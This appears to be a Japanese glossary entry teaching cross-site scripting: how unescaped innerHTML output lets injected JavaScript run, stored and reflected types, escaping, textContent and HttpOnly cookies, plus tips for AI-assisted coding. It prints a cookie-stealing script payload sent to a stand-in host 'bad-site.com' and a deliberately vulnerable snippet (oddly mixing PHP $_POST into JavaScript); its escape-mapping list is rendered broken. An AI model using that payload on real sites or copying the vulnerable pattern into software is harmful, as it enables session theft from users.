XSS
Cross-Site Scripting
概要(サマリー)
XSS(クロスサイトスクリプティング)とは、Webサイトの入力フォームやURLの隙を突いて悪意のあるスクリプト(主にJavaScript)を埋め込み、そのサイトを訪れた他の一般ユーザーのブラウザ上で、そのスクリプトを勝手に実行させてしまうサイバー攻撃手法である。
例えるなら、学校の連絡板(Webサイト)に誰かがこっそり「この紙を読んだ人は、隣の人に自分の財布を渡しなさい」という魔法の命令(スクリプト)を貼り付け、それを読んだ生徒(閲覧ユーザー)が自分の意思に関わらず財布を奪われてしまうようなものである。これにより、ログイン情報(Cookie)を盗まれたり、偽の画面を表示されて詐欺に遭ったりする被害が発生する。
詳細解説
ブラウザで勝手にJavaScriptが動き出す
Webアプリケーションでは、ユーザーが投稿したコメントや検索キーワードなどを画面に表示する。もし、この表示処理に不備があると、ユーザーが入力したテキストに含まれるHTMLタグやJavaScriptコードが、そのまま「プログラム」としてブラウザに解釈されてしまう。
XSSが発生する仕組み
この脆弱性は、入力された文字をエスケープ(無害化)せずに、そのままHTMLとして画面に出力してしまうことで発生する。
悪い例(脆弱性のあるJavaScript実装)
// ユーザーが入力したテキスト(例:ブログのコメント)をそのままHTMLとして挿入
const userComment = $_POST['comment']; // 悪意のあるコードが含まれているとする
document.getElementById('comment-box').innerHTML = userComment;
もし攻撃者が、コメント欄に以下のようなスクリプトを入力したとする。
<script>location.href = 'https://bad-site.com/steal?cookie=' + document.cookie;</script>
このコメントが表示された瞬間、このページを開いた他のユーザーのブラウザは「これはJavaScriptの命令だ」と判断し、実行してしまう。結果として、そのユーザーのログインセッション情報が含まれるCookieが、攻撃者の用意した外部サーバーへ自動的に送信されてしまう。
XSSの主な種類(格納型・反射型)
XSSには、スクリプトがどのようにユーザーへ届くかによっていくつかの種類がある。
- 格納型(蓄積型)XSS:
掲示板やSNSのように、攻撃者が入力した悪意のあるスクリプトが一度データベースに保存(格納)されるタイプ。そのページを開いたすべてのユーザーに対してスクリプトが実行されるため、非常に被害が大きくなりやすい。 - 反射型XSS:
メールのリンクなどに悪意のあるパラメータを含ませておき、ユーザーがそのリンクを踏むと、パラメータがそのまま画面に「反射」して実行されるタイプ。特定の個人を狙ったフィッシング詐欺などでよく使われる。
サニタイジング(エスケープ処理)による対策
XSSを防ぐ最も基本的な対策は、画面にデータを出力する際にエスケープ処理(サニタイジング)を行うことである。エスケープ処理とは、HTMLにおいて特別な意味を持つ文字(< や > など)を、ブラウザがただの文字として表示するための「安全な表現(実体参照)」に置き換えることである。
<を<に変換>を>に変換&を&に変換"を"に変換'を'に変換
良い例(エスケープ処理を行った安全な実装)
// テキストとして安全に挿入する(ブラウザはタグを解釈せず、ただの文字として表示する)
const userComment = $_POST['comment'];
document.getElementById('comment-box').textContent = userComment;
innerHTML の代わりに textContent(または innerText)を使うことで、ブラウザは入力値をHTMLコードとしてではなく、単なるテキストデータとして扱うため、スクリプトが実行されることはない。
Cookieの保護とセキュリティヘッダー
XSSの目的の多くは、セッションIDなどが格納されたCookieの窃取である。これに対抗するため、Cookieを発行する際に HttpOnly 属性を付与する。これにより、JavaScriptから document.cookie を使ってCookieを読み取ることができなくなり、万が一XSSが発生しても情報漏洩のリスクを最小限に抑えることができる。
AIコーディングとの関係
AIに「動的にHTML要素を生成するJavaScriptを書いて」と指示すると、手軽さから innerHTML を使った危険なコードが生成されることがある。
特に、リスト表示やテンプレートエンジンの自作コードなどをAIに任せるときは、出力されるコードが正しくエスケープされているか、または安全なDOM操作メソッド(textContent や appendChild)を使っているかをチェックする必要がある。
AIコーディング時のポイント
- HTML出力を伴うJavaScriptやPHPのコードをAIに生成させる際は、必ず「XSS対策を施し、適切にエスケープ処理を行うコードにしてください」と指示する。
- AIに「このコードの中で、ユーザーの入力値がエスケープされずに直接HTMLとして描画されている箇所(XSSの脆弱性)はありますか?」と質問し、セキュアコーディングのレビューを依頼すると効果的である。
よくある勘違い
XSSはサーバーが乗っ取られる攻撃?
XSSは、サーバーではなく「Webサイトを閲覧しているユーザー(クライアント)のブラウザ」をターゲットにした攻撃である。
そのため、サーバーの設定が強固であっても、WebアプリケーションのHTML出力部分に不備があればXSSは発生する。ただし、奪われた管理者用のCookieを使って管理画面に不正ログインされ、結果的にサーバーの設定を変更されるといった二次被害に繋がることはある。
入力欄をチェック(バリデーション)すれば対策は十分?
「入力フォームに < や script などの文字が入力されたらエラーにする(バリデーション)」だけでは、XSS対策として不十分である。
XSS対策の鉄則は「出力時のエスケープ」である。なぜなら、データベースから読み込んだ値や、外部APIから取得したデータなど、入力フォームを経由しないルートから危険な文字が画面に出力される可能性があるからである。
自分のローカル環境だけで動くアプリなら関係ない?
自分しかアクセスしないローカル環境(localhost)であっても、外部のWebサイトから「ローカル環境のポートに向けてスクリプトを実行させる反射型XSSのリンク」を踏まされた場合、ローカル環境で動いているアプリが攻撃の踏み台にされる可能性がある。
個人開発や学習段階であっても、画面に変数を出力する際は常にエスケープを意識する習慣をつけておくべきである。
まとめ
- XSSは、Webサイトの表示の隙を利用して、閲覧ユーザーのブラウザ上で悪意のあるスクリプトを実行させる攻撃。
- CookieからセッションIDを盗まれたり、画面を偽装されたりする被害が発生する。
- 最大の防御策は、画面に出力するすべての変数を適切にエスケープ(サニタイズ)すること。
- JavaScriptでは
innerHTMLを避け、textContentなどを利用してテキストとして出力する。 - 重要なCookieには
HttpOnly属性を付与し、万が一スクリプトが動いても盗まれないように二重の対策をとる。
情報ソース
より詳しくAIに聞いてみよう
- XSSが発生する仕組みを、お店のアンケート用紙の自由記述欄にイタズラ書きをして、店員にそれをそのまま読ませる比喩で説明してください。
innerHTMLとtextContentの違いと、なぜtextContentがXSS対策に有効なのかをコード例を交えて教えてください。- PHPの
htmlspecialchars()関数を使って、HTML出力を安全にするための正しいパラメータ設定と実装方法を教えてください。 - AIにReactやVueなどのモダンフロントエンドフレームワークのコードを書いてもらう際、XSSを発生させないための注意点と「独自エスケープ」が必要になる場面を教えてください。
- 「このJavaScriptコードにある
innerHTMLを、安全なDOM操作メソッドに書き換えてください」とAIに依頼するための指示文の例を作ってください。